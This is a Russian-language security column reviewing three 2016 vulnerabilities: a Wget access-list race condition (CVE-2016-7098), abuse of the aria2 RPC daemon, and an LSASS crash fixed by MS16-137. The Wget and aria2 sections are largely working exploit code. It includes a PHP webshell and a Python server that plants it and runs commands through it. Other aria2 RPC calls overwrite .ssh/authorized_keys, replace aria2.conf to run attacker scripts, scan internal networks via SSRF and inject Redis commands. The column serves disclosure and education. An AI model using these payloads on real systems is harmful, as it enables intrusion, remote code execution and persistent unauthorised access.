Сегодня мы разберем уязвимости в популярных утилитах для скачивания файлов — Wget и aria2. При соблюдении некоторых условий атакующий может выполнить произвольный код. Также разберем ошибку в LSASS.EXE, которая позволяет как минимум перевести систему в режим перезагрузки, а как максимум — получить повышение привилегий.

 

Access List Bypass / Race Condition в Wget

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 24 ноября 2016 года
Автор: Дэвид Голунски (Dawid Golunski)
CVE: CVE-2016-7098

Я думаю, нет смысла рассказывать, что такое Wget, — все, кто пользовался командной строкой UNIX или Linux, неоднократно запускали эту утилиту. Обнаружение уязвимостей в столь популярных программах никогда не остается без внимания.

Wget версии 1.17 или младше в режиме зеркалирования (mirroring) или рекурсивной загрузки подвержена уязвимости типа race condition, что позволяет удаленному атакующему обойти ограничения, указанные через параметр -A. Таким образом атакующий может поместить вредоносный файл в систему. В зависимости от приложения и директории загрузки такая ошибка может привести к плачевным последствиям — к примеру, выполнению кода.

Когда Wget используется в режиме рекурсивной загрузки или зеркалирования, то согласно документации может получить следующий список параметров доступа. Вот параметры запрета и разрешения рекурсивной загрузки:

-A acclist --accept acclist
-R rejlist --reject rejlist

Далее указывается разделенный запятыми список суффиксов или паттернов имен файлов, которые следует или не следует загружать. Любые специальные символы *, ?, [ или ], обнаруженные в одном из элементов acclist или rejlist, будут интерпретироваться скорее как паттерн, чем как суффикс.

Например, это можно использовать для загрузки только JPG:

# wget -r -nH -A '*.jpg' http://attackersvr/test.php
Resolving attackersvr... 192.168.57.1
Connecting to attackersvr|192.168.57.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: ‘test.php’
15:05:46 (27.3 B/s) - ‘test.php’ saved [52]

В конце будет удален test.php, потому что согласно правилу его не следует загружать.

Несмотря на то что Wget удаляет файл в конце загрузки, это создает race condition. Атакующий, контролируя удаленный сервер, может преднамеренно замедлить загрузку так, чтобы у него появился шанс использовать вредоносный файл перед тем, как тот будет удален.

 

EXPLOIT

Ниже показано уязвимое веб-приложение, которое использует Wget для загрузки изображений с предоставленного пользователем адреса.

<?php
    // Уязвимое приложение [image_importer.php]
    // Использование Wget для импортирования пользовательских изображений с предоставленного удаленного URL
    // Работает только с JPG-файлами (опция -A wget)

    if ( isset($_GET['imgurl']) ) {
            $URL = escapeshellarg($_GET['imgurl']);
    } else {
            die("imgurl parameter missing");
    }

    if ( !file_exists("image_uploads") ) {
            mkdir("image_uploads");
    }

    // Загружает JPG пользователя в директорию /image_uploads
    system("wget -r -nH -P image_uploads -A '*.jpg' $URL 2>&1");
?>

Пример вредоносного URL:

https://victimsvr/image_importer.php?imgurl= href="http://images/logo.jpg">http://images/logo.jpg

Файл logo.jpg будет загружен и размещен по адресу https://victimsvr/images_uploads/logo.jpg. Белый список Wget гарантирует, что будут загружены только файлы с расширением jpg.

Тем не менее уязвимость race condition в Wget позволяет атакующему загрузить произвольный скрипт (к примеру, на PHP) в директорию /image_uploads и успешно выполнить код. Ниже представлены только части, полный код эксплоита ты можешь скачать с сайта его автора.

Полезная нагрузка:

PAYLOAD='''
<?php
    // Our webshell
    system($_GET["cmd"]);
    system("touch /tmp/wgethack");
?>
'''
...
CMD="/usr/bin/id"

Поднять свой HTTP-сервер:

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Отправить полезную нагрузку на GET-запрос
        print "[+] Got connection from wget requesting " + self.path + " via GET :)\n"
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(PAYLOAD)
        print "\n[+] PHP webshell payload was sent.\n"

        # Подождать, пока файл будет размещен на диске удаленного хоста
        print "[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...\n"
        time.sleep(2)

        # Отправить запрос к загруженному webshell
        print "[+} File '" + self.path + "' should be saved by now :)\n"
        print "[+} Executing " + CMD + " via webshell URL: " + WEBSHELL_URL + "?cmd=" + CMD + "\n"
        print "[+} Command result: "
        print urllib2.urlopen(WEBSHELL_URL+"?cmd="+CMD).read()

        print "[+} All done. Closing HTTP connection...\n"
        # Соединение будет закрыто по возвращении хендлера request
        return

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
handler.serve_forever()

Атакующий запускает этот эксплоит на своем сервере (attackersvr) и указывает его адрес в уязвимом скрипте image_importer.php:

https://victimsvr/image_importer.php?imgurl= href="http://attackersvr/webshell.php">http://attackersvr/webshell.php

В результате получается следующий вывод:

root@attackersvr:~# ./wget-race-exploit.py
Wget < 1.18 Access List Bypass / Race Condition PoC Exploit
CVE-2016-7098
Dawid Golunski
https://legalhackers.com
[+} Exploit Web server started on HTTP port 80. Waiting for wget to connect...
[+] Got connection from wget requesting /webshell.php via GET :)
victimsvr - - [24/Nov/2016 00:46:18] "GET /webshell.php HTTP/1.1" 200 -
[+] PHP webshell payload was sent.
[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...
[+} File '/webshell.php' should be saved by now :)
[+} Executing /usr/bin/id via webshell URL: http://victimsvr/image_uploads/webshell.php?cmd=/usr/bin/id
[+} Command result:
uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(nagcmd)
[+} All done. Closing HTTP connection...

Оригинальный отчет доступен на сайте автора эксплоита.

 

TARGETS

GNU Wget версии младше 1.18.

 

SOLUTION

Производитель выпустил исправление.

 

Взлом aria2 RPC-демона

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 21 ноября 2016 года
Автор: Риктер Чжэн (Ricter Zheng)
CVE: нет

Aria2 — это популярный консольный загрузчик файлов, который поддерживает большое количество протоколов (HTTP, HTTPS, FTP, BitTorrent, Metalink). Aria2 RPC Server может принимать запросы из многих источников в обход различных мер безопасности. К примеру, параметры --rpc-secret, --rpc-user, --rpc-passwd могут быть взломаны с помощью социальной инженерии. А через aria2 RPC Server атакующий сможет провести SSRF, запись в произвольный файл и другие атаки для получения привилегий на сервере.

Aria2 имеет встроенный интерфейс XML-RPC и позволяет запустить RPC-сервер. Для этого существует опция --enable-rpc.

 

EXPLOIT

Запись в произвольный файл

Контролируя ссылку для загрузки файла, путь сохранения файла и имя файла, атакующий может произвести запись в произвольный файл. Остальные функции aria2, такие как save-session, тоже могут с легкостью перезаписать произвольный файл.

Обход --auto-file-renaming и --allow-overwrite

Согласно документации к aria2 RPC Server метод changeGlobalOption поддерживает частичную модификацию глобальных настроек. Изменив параметры allow-overwrite, атакующий способен обойти автоматическое переименование и записывать напрямую в специальный файл. Можно обойтись и без изменения allow-overwrite, воспользовавшись специальным файлом session.

Перезапись .ssh/authorized_keys загружаемым файлом

Как тебе наверняка известно, UNIX-системы позволяют пользователям, которые хранят свои ключи в специальном файле .ssh/authorized_keys, авторизоваться в системе удаленно без пароля. Если атакующий сможет перезаписать этот файл, то сможет и получить доступ к целевой системе.

s = PatchedServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pubkey.txt'], {'out': 'authorized_keys', 'dir': '/home/bangumi/.ssh/'}))
Пример подмены .ssh/authorized_keys
Пример подмены .ssh/authorized_keys

Перезапись .ssh/authorized_keys с помощью save-session

С помощью настройки save-session ты можешь указать, куда сохранять загружаемый файл, когда aria2c закроется. Помимо этого, aria2 RPC Server поддерживает опцию user-agent, которую можно указать для загружаемого файла.

Формат файла session для aria2:

http://download-server/1.txt
gid=79e8977d817e750e
dir=/home/bangumi/.aria2/
out=1.txt
allow-overwrite=true
user-agent=aria2/1.21.1

Aria2 не обрабатывает переводы строк \n, что дает возможность составить свой user-agent и переделать session-файл, который выйдет за рамки скоупа. Так как .ssh/authorized_keys довольно устойчив к ошибкам, то и изменить путь в session на .ssh/authorized_keys не составит труда.

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.shutdown())

Aria2 закроется после завершения атаки, а файлы session сохранятся в специальной директории.

Перезапись .ssh/authorized_keys с помощью session
Перезапись .ssh/authorized_keys с помощью session

Новая версия aria2 поддерживает метод aria2.saveSession, который можно использовать в случае закрытия сессии aria2.

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.saveSession())

Перезапись файла настроек aria2

Aria2 поддерживает настройку --on-download-complete: можно указать, что за программа будет запущена после окончания загрузки. Ниже представлены параметры запускаемой программы.

hook.sh $1      $2      $3
hook.sh GID     File No File path

Здесь GID — номер, который aria2 сгенерирует автоматически, а File No (номер файла) всегда 1. Для опции --on-download-complete еще требуется указать COMMAND и путь к исполняемому файлу. Для выполнения команды нам понадобится найти COMMAND и выполнить файл, указанный в третьем параметре. К сожалению, ничего похожего на COMMAND в Linux не нашлось. Тем самым у нас имеется два неконтролируемых и неизвестных аргумента; GID возвращается, когда aria2 добавит задание, поэтому процесс выполнения команды становится довольно хитрым.

Для начала загружаем вредоносный конфигурационный файл aria2 и перезаписываем оригинальный, затем ждем, пока aria2 перезагрузит его. Затем грузим большой файл и сразу после паузы GID грузим маленький. Это позволит сохранить имя файла и GID для большого. И наконец, открыв большой файл для загрузки, сможем выполнять произвольные команды.

s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true"}))
pprint(s.aria2.getGlobalOption())
# pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/tmp', 'out': 'authorized_keys'}))
pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/home/bangumi/.aria2/', 'out': 'aria2.conf'}))
raw_input('waiting for restart ...')
r = str(s.aria2.addUri(['http://attacker/bigfile'], {'out': '1'}))
s.aria2.pause(r)
pprint(s.aria2.addUri(['http://attacker/1.sh'], {'out': r}))
s.aria2.unpause(r)

После завершения загрузки aria2 выполнит следующую команду:

/bin/bash GID 1 /path/to/file

Так как GID известен и файл называется GID, а путь основан на текущей директории, нам ничто не мешает успешно выполнить команды.

Перезапись файла настроек aria2
Перезапись файла настроек aria2

SSRF

Сканирование сервиса Intranet HTTP
Так как у aria2 нет ограничений на загрузку файлов (адреса и прочее), то мы можем получить доступ к различным ресурсам через запросы aria2.

def gen():
    return ['http://172.16.98.%d/' % (i,) for i in range(0, 255)]

def main():
    s = ServerProxy("http://victim/rpc")
    t = [s.aria2.addUri([i], {'dir': '/tmp'}) for i in gen()]
    pprint(s.aria2.changeGlobalOption({'max-concurrent-downloads': '50', 'connect-timeout': '3', 'timeout': '3'}))
    pprint(s.aria2.getGlobalOption())
    while 1:
        for f in t:
            pprint(s.aria2.getFiles(f))

Используя код, указанный выше, можно просканировать ресурсы внутренней сети.

Результаты сканирования внутренней сети через aria2
Результаты сканирования внутренней сети через aria2

Атака на сервер Redis
Опция user-agent в aria2 допускает переносы строк (\n), поэтому можно провести атаку внутри сети на сервер Redis:

payload = '''
CCONFIG SET DIR /root/.ssh
CCONFIG SET DBFILENAME authorized_keys
SSET 1 "\\n\\n\\nssh-rsa .... root@localhost\\n\\n"
SSAVE
QQUIT
'''
s = ServerProxy("http://victom/rpc")
s.aria2.changeGlobalOption({'user-agent': payload})
pprint(s.aria2.addUri(['http://127.0.0.1:6379/'], {'dir': '/tmp'}))

В случае успеха /root/.ssh/authorized_keys позволит залогиниться по SSH без пароля.

Успешная атака на Redis через aria2
Успешная атака на Redis через aria2

Оригинальный пост, к сожалению, написан на китайском языке, но код говорит сам за себя :-).

 

TARGETS

Aria2 < 1.29.0.

 

SOLUTION

Производитель выпустил исправление. Как вариант — можно запускать aria2c от пользователя nobody, а также выключить следующие настройки CLI:

--rpc-listen-all
--allow-overwrite
--auto-file-renaming
--rpc-secret
 

Удаленное повреждение памяти в LSASS.EXE (патч Windows номер MS16-137)

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 8 ноября 2016 года
Автор: Лоран Гаффье (Laurent Gaffié)
CVE: нет

Уязвимость в Windows Local Security Authority Subsystem Service (LSASS) была обнаружена во всех версиях Windows, начиная с Windows XP и заканчивая Windows 10. Она позволяет атакующему удаленно вызвать падение процесса LSASS.EXE без взаимодействия с пользователем. В случае успешной эксплуатации атакуемая машина будет перезагружена. Также возможно локальное повышение привилегий.

 

EXPLOIT

Уязвимости подвержен как клиент LSASS, так и сервер. Ее можно вызывать удаленно с помощью SMBv1 или SMBv2 в ходе передачи NTLM-сообщения 3 (Authenticate). Поступающие по SMB сообщения NTLM закодированы по протоколам ASN1 и DER. Это значит, что первое поле длины ASN может быть установлено беззнаковым целым числом (0x84).

Это позволяет атакующему удаленно выделить большой участок памяти для сообщения, которое никогда не превышает 20 тысяч символов. Вторая вещь, нужная для срабатывания уязвимости, — это задание длинного значения (80–140 символов) любому строковому полю (User, Domain, session Key, MIC и другие). Это приведет к падению LSASS.EXE.

eax=00000000 ebx=000e3e04 ecx=fffffff8 edx=fffffffc esi=000e3e00 edi=00000004
eip=7c84cca2 esp=00aaf9ac ebp=00aaf9d4 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010213
ntdll!RtlpWaitOnCriticalSection+0xdf:
7c84cca2 ff4014          inc     dword ptr [eax+14h]  ds:0023:00000014=????????

STACK_TEXT:
00aaf9d4 7c83cfd7 00000b3c 00000004 00000000 ntdll!RtlpWaitOnCriticalSection+0xdf
00aaf9f4 4ab82f4a 000e3e00 00aafbec 00000000 ntdll!RtlEnterCriticalSection+0xa8       <-- Использует null-указатель
00aafa18 4ab82765 000e3de8 ffffffff 00000001 lsasrv!NegpBuildMechListFromCreds+0x25   <-- Использует null creds
00aafbfc 4abc8fbb 00000001 00aafe40 000e3de8 lsasrv!NegBuildRequestToken+0xd9
00aafc34 4abca13f 000e3de8 00120111 00000010 lsasrv!NegGenerateServerRequest+0x2a
00aafc98 4ab85edb 000e3de8 00000000 00aafe40 lsasrv!NegAcceptLsaModeContext+0x344
00aafd0c 4ab860c8 00d5f900 00d5f908 00aafe40 lsasrv!WLsaAcceptContext+0x139
00aafe84 4ab7ae7b 00d5f8d8 005ccaf0 00599048 lsasrv!LpcAcceptContext+0x13b
00aafe9c 4ab7ad7e 00d5f8d8 4ac22738 00d5a158 lsasrv!DispatchAPI+0x46
00aaff54 4ab7a7c9 00d5f8d8 00aaff9c 77e5baf1 lsasrv!LpcHandler+0x1fe
00aaff78 4ab8f448 00598ce8 00000000 00000000 lsasrv!SpmPoolThreadBase+0xb9
00aaffb8 77e6484f 0059ade8 00000000 00000000 lsasrv!LsapThreadBase+0x91
00aaffec 00000000 4ab8f3f1 0059ade8 00000000 kernel32!BaseThreadStart+0x34

dt ntdll!_RTL_CRITICAL_SECTION
    +0x000 DebugInfo        : Ptr32 _RTL_CRITICAL_SECTION_DEBUG
    +0x004 LockCount        : Int4B
    +0x008 RecursionCount   : Int4B
    +0x00c OwningThread     : Ptr32 Void
    +0x010 LockSemaphore    : Ptr32 Void
    +0x014 SpinCount        : Uint4B

Здесь видно, что функция LSASS NegpBuildMechListFromCreds отправляет null-указатель creds в NTDLL RtlEnterCriticalSection, а RtlEnterCriticalSection использует указатель null, что и вызывает падение.

Протокол SMB непрост, так что советую изучить подробно PoC к этой уязвимости, который автор опубликовал на своем GitHub. В PoC к тому же уже встроена проверка уязвимости системы.

Оригинальный пост ты можешь прочитать в блоге автора.

 

TARGETS

Windows XP / Server 2003, Windows Vista, Windows 7, Windows 2008R2, Windows Server 2012R2, Windows 10 без обновления MS16-137.

 

SOLUTION

Производитель выпустил исправление.

Оставить мнение